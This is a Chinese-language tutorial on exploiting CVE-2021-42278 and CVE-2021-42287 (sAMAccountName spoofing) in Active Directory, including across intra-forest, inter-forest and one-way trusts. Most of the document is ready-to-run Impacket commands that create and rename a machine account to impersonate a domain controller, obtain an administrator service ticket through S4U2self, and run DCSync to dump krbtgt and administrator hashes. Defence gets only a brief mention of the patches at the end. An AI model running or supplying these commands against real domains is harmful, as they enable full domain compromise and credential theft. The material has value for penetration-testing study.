sAMAccountName spoofing在域信任中的利用
字数 1538 2025-08-24 20:49:22

sAMAccountName Spoofing在域信任中的利用 - 详细教学文档

漏洞概述

本教学文档详细讲解CVE-2021-42278和CVE-2021-42287两个漏洞的组合利用,以及如何在域信任环境中进行sAMAccountName欺骗攻击。

相关CVE

  1. CVE-2021-42278

    • 域中所有机器名称都以$符结尾
    • Active Directory不会检查机器名账户名末尾是否带有$符
  2. CVE-2021-42287

    • 在申请ST过程中,需要先申请TGT然后带着申请到的TGT去向TGS请求ST
    • 当KDC没有找到TGT中指定的服务名称时,会在该服务名称的后边添加$符进行重新搜索

漏洞组合利用原理

  1. 创建一个与域DC机器账户名(如DC1\()一样的机器账户DC1(不带\)符)
  2. 申请TGT
  3. 修改/删除新增的机器账户名称
  4. 用申请到的TGT进行S4U2self去向TGS请求ST
  5. KDC找不到机器账户DC1,转而查找DC1$(即DC本身)
  6. 使用DC1$(DC本身)的NTLM hash加密ST
  7. 获得高权限ST

前提条件

1. ms-DS-MachineAccountQuota权限

  • 需要创建机器账户的权限
  • 默认值为10,ms-DS-MachineAccountQuota > 0即可
  • 需要对sAMAccountName和servicePrincipalName属性有写权限

检查方法

# 方法1: ADSI Edit
ADSI Edit -> 选择对应域名 -> 属性 -> ms-DS-MachineAccountQuota

# 方法2: powerview
(Get-DomainObject | select ms-DS-MachineAccountQuota | out-string).trim()

# 方法3: ldapsearch/windapsearch
ldapsearch -x -H ldap://192.168.1.99 -D 'sub\usera' -w 'admin123..' -b "DC=sub,DC=b,DC=local" | grep "ms-ds-machineaccountquota" -i

./windapsearch --dc 192.168.1.99 -d sub.b.local -u usera -p 'admin123..' -m custom --filter '(&(objectClass=domain)(distinguishedName=DC=sub,DC=b,DC=local))' --attrs ms-ds-machineAccountQuota

2. SeMachineAccountPrivilege权限

  • Authenticated Users默认在GPO配置中具有"Add workstations to domain"权限(SeMachineAccountPrivilege)
  • 查询谁有此权限:
powershell -exec bypass -Command "&{import-module .\powerview.ps1;(Get-DomainPolicy -Policy dc).privilegerights | select SeMachineAccountPrivilege | Add-member -NotePropertyname 'Principalname' -Notepropertyvalue (ConvertFrom-SID $_.SeMachineAccountPrivilege.substring(1,$_.SeMachineAccountPrivilege.Length-1));$_ | Format-List}"

3. 目标DC未打补丁

  • 目标DC没有打KB5008380和KB5008602补丁
  • 可通过rubeus检测;打完补丁后返回的TGT包很大

漏洞利用步骤

1. 创建一个机器账户

python3 addcomputer.py -computer-name 'fakespn$' -computer-pass 'fakespnpassword' -dc-host sub1.sub.b.local -dc-ip 192.168.1.99 sub.b.local/usera:'admin123..'

2. 清除该机器账户SPN

python3 addspn.py -u 'sub.b.local\usera' -p 'admin123..' -t 'fakespn$' -c 192.168.1.99

3. 将该机器账户名称重命名为域控机器名

python3 renameMachine.py -current-name 'fakespn$' -new-name sub1 -dc-ip 192.168.1.99 sub.b.local/usera:'admin123..'

4. 为机器账户申请TGT票据

python3 getTGT.py -dc-ip 192.168.1.99 sub.b.local/sub1:'fakespnpassword'

5. 重命名/删掉机器账户

python3 renameMachine.py -current-name sub1 -new-name 'fakespn$' sub.b.local/usera:'admin123..' -dc-ip 192.168.1.99

6. 通过S4U2self申请ST

KRB5CCNAME=sub1.ccache python3 getST.py -impersonate administrator -spn cifs/sub1.sub.b.local sub.b.local/sub1 -k -no-pass -dc-ip 192.168.1.99 -self

7. DCSync

KRB5CCNAME=administrator.ccache python3 secretsdump.py -k -no-pass sub1.sub.b.local -dc-ip 192.168.1.99 -just-dc-user 'sub\krbtgt'

8. 删除添加的机器账户

KRB5CCNAME=administrator.ccache python3 addcomputer.py -k -no-pass sub.b.local/administrator -computer-name 'fakespn$' -dc-host sub1.sub.b.local -dc-ip 192.168.1.99 -delete

跨域利用

林内信任利用

环境说明

  • 子域: sub2.b.local 域控ip:192.168.1.103
  • 父域: b.local 域控ip:192.168.1.88 域控主机:test-dc.b.local
# 1. 创建机器账户
python3 addcomputer.py -computer-name 'fakespn$' -computer-pass 'fakespnpassword' -dc-host test-dc.b.local -dc-ip 192.168.1.88 sub2.b.local/test:'admin111..'

# 2. 清除SPN
python3 addspn.py -u 'sub2.b.local\test' -p 'admin111..' -t 'fakespn$' -c 192.168.1.88

# 3. 重命名为域控名
python3 renameMachine.py -current-name 'fakespn$' -new-name test-dc -dc-ip 192.168.1.88 sub2.b.local/test:'admin111..'

# 4. 申请TGT
python3 getTGT.py -dc-ip 192.168.1.88 b.local/test-dc:'fakespnpassword'

# 5. 重命名回原账户
python3 renameMachine.py -current-name test-dc -new-name 'fakespn$' sub2.b.local/test:'admin111..' -dc-ip 192.168.1.88

# 6. 申请ST
KRB5CCNAME=test-dc.ccache python3 getST.py -impersonate administrator -spn cifs/test-dc.b.local b.local/test-dc -k -no-pass -dc-ip 192.168.1.88 -self

# 7. DCSync
KRB5CCNAME=administrator.ccache python3 secretsdump.py -k -no-pass test-dc.b.local -dc-ip 192.168.1.103 -target-ip 192.168.1.88 -just-dc-user 'b\administrator'

林间信任利用

环境说明

  • B子域: sub2.b.local 域控ip:192.168.1.103
  • B父域: b.local 域控ip:192.168.1.88 域控主机:test-dc.b.local
  • A域: a.local 域控ip:192.168.1.111 域控主机:a-dc.a.local
# 1. 创建机器账户
python3 addcomputer.py -computer-name 'fakespn$' -computer-pass 'fakespnpassword' -dc-host a-dc.a.local -dc-ip 192.168.1.111 sub2.b.local/test:'admin111..'

# 2. 清除SPN
python3 addspn.py -u 'sub2.b.local\test' -p 'admin111..' -t 'fakespn$' -c 192.168.1.111

# 3. 重命名为域控名
python3 renameMachine.py -current-name 'fakespn$' -new-name a-dc -dc-ip 192.168.1.111 sub2.b.local/test:'admin111..'

# 4. 申请TGT
python3 getTGT.py -dc-ip 192.168.1.111 a.local/a-dc:'fakespnpassword'

# 5. 重命名回原账户
python3 renameMachine.py -current-name a-dc -new-name 'fakespn$' sub2.b.local/test:'admin111..' -dc-ip 192.168.1.111

# 6. 申请ST
KRB5CCNAME=a-dc.ccache python3 getST.py -impersonate administrator -spn cifs/a-dc.a.local a.local/a-dc -k -no-pass -dc-ip 192.168.1.111 -self

# 7. DCSync
KRB5CCNAME=administrator.ccache python3 secretsdump.py -k -no-pass a-dc.a.local -dc-ip 192.168.1.103 -target-ip 192.168.1.111 -just-dc-user 'a\krbtgt'

单向信任利用

环境说明

  • pentest.com: 域控主机:WIN-I5EEUJ7MD5N.pentest.com ip:192.168.1.56
  • test.lab: 域控主机:testlab.test.lab ip:192.168.1.33
  • pentest.com 单向信任 test.lab
# 1. 创建机器账户
python3 addcomputer.py -computer-name 'fakespn$' -computer-pass 'fakespnpassword' -dc-host WIN-I5EEUJ7MD5N.pentest.com -dc-ip 192.168.1.56 test.lab/test:'admin123..'

# 2. 清除SPN
python3 addspn.py -u 'test.lab\test' -p 'admin123..' -t 'fakespn$' -c 192.168.1.56

# 3. 重命名为域控名
python3 renameMachine.py -current-name 'fakespn$' -new-name WIN-I5EEUJ7MD5N -dc-ip 192.168.1.56 test.lab/test:'admin123..'

# 4. 申请TGT
python3 getTGT.py -dc-ip 192.168.1.56 pentest.com/WIN-I5EEUJ7MD5N:'fakespnpassword'

# 5. 重命名回原账户
python3 renameMachine.py -current-name WIN-I5EEUJ7MD5N -new-name 'fakespn$' test.lab/test:'admin123..' -dc-ip 192.168.1.56

# 6. 申请ST
KRB5CCNAME=WIN-I5EEUJ7MD5N.ccache python3 getST.py -impersonate administrator -spn cifs/WIN-I5EEUJ7MD5N.pentest.com pentest.com/WIN-I5EEUJ7MD5N -k -no-pass -dc-ip 192.168.1.56 -self

# 7. DCSync
KRB5CCNAME=administrator.ccache python3 secretsdump.py -k -no-pass WIN-I5EEUJ7MD5N.pentest.com -dc-ip 192.168.1.33 -target-ip 192.168.1.56 -just-dc-user 'pentest\krbtgt'

注意事项

  1. 实际名称不是显示的名称,而是属性->常规->计算机名(windows2000以前版本)(w)对应的名称
  2. 删除机器账户时可能需要使用不同的方法:
# 方法1
python3 renameMachine.py -current-name 'fakespn$' -new-name fakespn2$ -dc-ip 192.168.1.99 sub.b.local/usera:'admin123..'

# 方法2
python3 addcomputer.py -computer-name 'fakespn$' -dc-host sub1.sub.b.local -dc-ip 192.168.1.99 sub.b.local/usera:'admin123..' -delete

# 方法3
python3 addcomputer.py -computer-name 'fakespn2$' -dc-host sub1.sub.b.local -dc-ip 192.168.1.99 sub.b.local/usera:'admin123..' -delete

# 方法4
KRB5CCNAME=administrator.ccache python3 addcomputer.py -k -no-pass sub.b.local/administrator -computer-name 'fakespn2$' -dc-host sub1.sub.b.local -dc-ip 192.168.1.99 -delete

总结

  1. 该攻击方法在林内、林间和单向信任环境中均可利用
  2. 关键在于利用sAMAccountName命名规则和KDC查找机制的特性
  3. 攻击过程中不需要目标域向当前域做认证,因此单向信任也可利用
  4. 防御措施包括安装补丁KB5008380和KB5008602,以及限制机器账户创建权限
sAMAccountName Spoofing在域信任中的利用 - 详细教学文档 漏洞概述 本教学文档详细讲解CVE-2021-42278和CVE-2021-42287两个漏洞的组合利用,以及如何在域信任环境中进行sAMAccountName欺骗攻击。 相关CVE CVE-2021-42278 : 域中所有机器名称都以$符结尾 Active Directory不会检查机器名账户名末尾是否带有$符 CVE-2021-42287 : 在申请ST过程中,需要先申请TGT然后带着申请到的TGT去向TGS请求ST 当KDC没有找到TGT中指定的服务名称时,会在该服务名称的后边添加$符进行重新搜索 漏洞组合利用原理 创建一个与域DC机器账户名(如DC1$)一样的机器账户DC1(不带$符) 申请TGT 修改/删除新增的机器账户名称 用申请到的TGT进行S4U2self去向TGS请求ST KDC找不到机器账户DC1,转而查找DC1$(即DC本身) 使用DC1$(DC本身)的NTLM hash加密ST 获得高权限ST 前提条件 1. ms-DS-MachineAccountQuota权限 需要创建机器账户的权限 默认值为10,ms-DS-MachineAccountQuota > 0即可 需要对sAMAccountName和servicePrincipalName属性有写权限 检查方法 : 2. SeMachineAccountPrivilege权限 Authenticated Users默认在GPO配置中具有"Add workstations to domain"权限(SeMachineAccountPrivilege) 查询谁有此权限: 3. 目标DC未打补丁 目标DC没有打KB5008380和KB5008602补丁 可通过rubeus检测;打完补丁后返回的TGT包很大 漏洞利用步骤 1. 创建一个机器账户 2. 清除该机器账户SPN 3. 将该机器账户名称重命名为域控机器名 4. 为机器账户申请TGT票据 5. 重命名/删掉机器账户 6. 通过S4U2self申请ST 7. DCSync 8. 删除添加的机器账户 跨域利用 林内信任利用 环境说明 : 子域: sub2.b.local 域控ip:192.168.1.103 父域: b.local 域控ip:192.168.1.88 域控主机:test-dc.b.local 林间信任利用 环境说明 : B子域: sub2.b.local 域控ip:192.168.1.103 B父域: b.local 域控ip:192.168.1.88 域控主机:test-dc.b.local A域: a.local 域控ip:192.168.1.111 域控主机:a-dc.a.local 单向信任利用 环境说明 : pentest.com: 域控主机:WIN-I5EEUJ7MD5N.pentest.com ip:192.168.1.56 test.lab: 域控主机:testlab.test.lab ip:192.168.1.33 pentest.com 单向信任 test.lab 注意事项 实际名称不是显示的名称,而是属性->常规->计算机名(windows2000以前版本)(w)对应的名称 删除机器账户时可能需要使用不同的方法: 总结 该攻击方法在林内、林间和单向信任环境中均可利用 关键在于利用sAMAccountName命名规则和KDC查找机制的特性 攻击过程中不需要目标域向当前域做认证,因此单向信任也可利用 防御措施包括安装补丁KB5008380和KB5008602,以及限制机器账户创建权限